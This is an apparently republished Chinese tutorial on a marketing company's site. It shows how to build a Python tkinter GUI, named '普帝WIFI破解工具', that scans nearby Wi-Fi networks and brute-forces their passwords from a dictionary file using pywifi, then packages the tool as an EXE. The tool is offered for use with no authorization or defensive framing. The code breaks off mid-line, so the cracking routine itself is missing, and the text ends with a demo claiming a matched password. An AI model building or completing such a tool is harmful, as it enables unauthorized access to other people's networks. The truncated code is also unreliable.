如何用python暴力破解wifi密码EXE应用
本篇内容介绍了“如何用python暴力破解wifi密码EXE应用”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
创新互联专注于企业营销型网站建设、网站重做改版、海盐网站定制设计、自适应品牌网站建设、H5技术、电子商务商城网站建设、集团公司官网建设、外贸营销网站建设、高端网站制作、响应式网页设计等建站业务,价格优惠性价比高,为海盐等各大城市提供网站开发制作服务。
前置准备-依赖库
comtypes
pywifi
pyintaller
示例:使用pycharm ide 安装pywifi
当然你也可以直接使用pip install xxx 命令进行安装
Python tkinter编写GUI界面
本文使用TKinter实现GUI界面,自己写界面比较麻烦,可以使用一些可视化的工具(比如QT5)进行快速编排实现GUI代码自动化。
密码字典
密码字典是什么?
简单的说就是一个提前存放一系列密码的文本,里面全是数字、数字与字母的组合、手机号、座机号、生日等等。
本文测试时你可以自己手动创建密码字典;也可以下载以下密码字典库
开撸
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # 在Gui中打开文件浏览
import tkinter.messagebox # 打开tkiner的消息提醒框
class MY_GUI():
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# 密码文件路径
self.get_value = StringVar() # 设置可变内容
# 获取破解wifi账号
self.get_wifi_value = StringVar()
# 获取wifi密码
self.get_wifimm_value = StringVar()
# 抓取网卡接口
self.wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
self.iface = self.wifi.interfaces()[0]
# 测试链接断开所有链接
self.iface.disconnect()
time.sleep(1) # 休眠1秒
# 测试网卡是否属于断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
def __str__(self):
# 自动会调用的函数,返回自身的网卡
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
# 设置窗口
def set_init_window(self):
self.init_window_name.title("普帝WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=800, height=400, text="配置") # 框架,以下对象都是对于labelframe中添加的
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="普帝金手指", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
# 定义树形结构与滚动条
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# 表格的标题
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("
打包成exe
pyinstaller -F -w -i 图标名.后缀 源文件.py
命令解释看文末解释
然后到你电脑上python安装目录下的Scripts\dist查看你打包的exe应用
演示
双击打包后的.exe脚本
STEP1: 点击搜索附件WIFI
STEP2: 添加密码文件目录
STEP3: 点击普帝金手指进行破解
^_^ 开始扫描附近wifi...
数量: 19
[*] 密码正确!wifi名:XXXXXXXX,匹配密码:XXXXXXXX
PS
pyinstaller打包错误解决
如出现以下错误
struct.error: unpack requires a buffer of 16 bytes
解决方法:使用在线转换ico工具来转换图片就可以了,需要转换成尺寸为16*16的
使用在线转换成ico的工具即可
pyintaller 常用打包命令解释
“如何用python暴力破解wifi密码EXE应用”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注创新互联网站,小编将为大家输出更多高质量的实用文章!
分享文章:如何用python暴力破解wifi密码EXE应用
文章分享:http://myzitong.com/article/jocpch.html